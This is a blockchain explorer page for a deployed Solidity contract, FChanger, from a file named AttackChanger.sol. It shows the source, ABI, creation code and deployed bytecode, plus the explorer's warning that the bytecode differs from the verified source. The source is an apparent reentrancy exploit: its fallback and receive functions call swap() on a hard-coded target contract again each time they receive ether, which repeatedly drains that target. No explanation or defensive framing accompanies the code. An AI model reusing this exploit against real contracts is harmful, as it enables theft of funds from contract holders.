Transactions
Token Transfers
Tokens
Internal Transactions
Coin Balance History
Code
Read Contract
Write Contract
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
- Contract name:
- FChanger
- Optimization enabled
- false
- Compiler version
- v0.8.19+commit.7dd6d404
- EVM Version
- default
- Verified at
- 2024-07-11T11:57:07.703064Z
contracts/AttackChanger.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IChanger { function swap(uint256) external; } interface IERC20 { function approve(address, uint256) external; } contract FChanger { address public token = 0x325636945A819DE3a693d827CCFb693C8da4048C; address public changer = 0x6B63819Bc417eB4D23b040e735cb98763453Ed17; fallback() external payable { changer.call(abi.encodeWithSignature("swap(uint256)", 0.365 ether)); } receive() external payable { changer.call(abi.encodeWithSignature("swap(uint256)", 0.365 ether)); } function ff() external { IERC20(token).approve(changer, 2e19); IChanger(changer).swap(0.365 ether); } }
Compiler Settings
{"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode","evm.methodIdentifiers","metadata","storageLayout"],"":["ast"]}},"optimizer":{"runs":200,"enabled":false},"libraries":{}}
Contract ABI
[{"type":"fallback","stateMutability":"payable"},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"changer","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"ff","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"token","inputs":[]},{"type":"receive","stateMutability":"payable"}]
Contract Creation Code
0x608060405273325636945a819de3a693d827ccfb693c8da4048c6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736b63819bc417eb4d23b040e735cb98763453ed17600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506106cb806100c96000396000f3fe6080604052600436106100385760003560e01c806311b0ea161461027d578063667d3168146102a8578063fc0c546a146102bf5761015d565b3661015d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670510bd90ef04800060405160240161008f91906104dc565b6040516020818303038152906040527f94b918de000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101199190610568565b6000604051808303816000865af19150503d8060008114610156576040519150601f19603f3d011682016040523d82523d6000602084013e61015b565b606091505b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670510bd90ef0480006040516024016101af91906104dc565b6040516020818303038152906040527f94b918de000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102399190610568565b6000604051808303816000865af19150503d8060008114610276576040519150601f19603f3d011682016040523d82523d6000602084013e61027b565b606091505b005b34801561028957600080fd5b506102926102ea565b60405161029f91906105c0565b60405180910390f35b3480156102b457600080fd5b506102bd610310565b005b3480156102cb57600080fd5b506102d461045f565b6040516102e191906105c0565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b8152600401610396929190610620565b600060405180830381600087803b1580156103b057600080fd5b505af11580156103c4573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161042b919061067a565b600060405180830381600087803b15801561044557600080fd5b505af1158015610459573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b600067ffffffffffffffff82169050919050565b6000819050919050565b60006104c66104c16104bc84610483565b6104a1565b61048d565b9050919050565b6104d6816104ab565b82525050565b60006020820190506104f160008301846104cd565b92915050565b600081519050919050565b600081905092915050565b60005b8381101561052b578082015181840152602081019050610510565b60008484015250505050565b6000610542826104f7565b61054c8185610502565b935061055c81856020860161050d565b80840191505092915050565b60006105748284610537565b915081905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105aa8261057f565b9050919050565b6105ba8161059f565b82525050565b60006020820190506105d560008301846105b1565b92915050565b6000819050919050565b6000819050919050565b600061060a610605610600846105db565b6104a1565b6105e5565b9050919050565b61061a816105ef565b82525050565b600060408201905061063560008301856105b1565b6106426020830184610611565b9392505050565b600061066461065f61065a84610483565b6104a1565b6105e5565b9050919050565b61067481610649565b82525050565b600060208201905061068f600083018461066b565b9291505056fea264697066735822122058401332ed9581764423e26b5df053f3e180ed492faa5abcc8aefef9f0ffeb2e64736f6c63430008130033
Deployed ByteCode
0x6080604052600436106100385760003560e01c806311b0ea161461027d578063667d3168146102a8578063fc0c546a146102bf5761015d565b3661015d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670510bd90ef04800060405160240161008f91906104dc565b6040516020818303038152906040527f94b918de000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101199190610568565b6000604051808303816000865af19150503d8060008114610156576040519150601f19603f3d011682016040523d82523d6000602084013e61015b565b606091505b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670510bd90ef0480006040516024016101af91906104dc565b6040516020818303038152906040527f94b918de000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102399190610568565b6000604051808303816000865af19150503d8060008114610276576040519150601f19603f3d011682016040523d82523d6000602084013e61027b565b606091505b005b34801561028957600080fd5b506102926102ea565b60405161029f91906105c0565b60405180910390f35b3480156102b457600080fd5b506102bd610310565b005b3480156102cb57600080fd5b506102d461045f565b6040516102e191906105c0565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b8152600401610396929190610620565b600060405180830381600087803b1580156103b057600080fd5b505af11580156103c4573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161042b919061067a565b600060405180830381600087803b15801561044557600080fd5b505af1158015610459573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b600067ffffffffffffffff82169050919050565b6000819050919050565b60006104c66104c16104bc84610483565b6104a1565b61048d565b9050919050565b6104d6816104ab565b82525050565b60006020820190506104f160008301846104cd565b92915050565b600081519050919050565b600081905092915050565b60005b8381101561052b578082015181840152602081019050610510565b60008484015250505050565b6000610542826104f7565b61054c8185610502565b935061055c81856020860161050d565b80840191505092915050565b60006105748284610537565b915081905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105aa8261057f565b9050919050565b6105ba8161059f565b82525050565b60006020820190506105d560008301846105b1565b92915050565b6000819050919050565b6000819050919050565b600061060a610605610600846105db565b6104a1565b6105e5565b9050919050565b61061a816105ef565b82525050565b600060408201905061063560008301856105b1565b6106426020830184610611565b9392505050565b600061066461065f61065a84610483565b6104a1565b6105e5565b9050919050565b61067481610649565b82525050565b600060208201905061068f600083018461066b565b9291505056fea264697066735822122058401332ed9581764423e26b5df053f3e180ed492faa5abcc8aefef9f0ffeb2e64736f6c63430008130033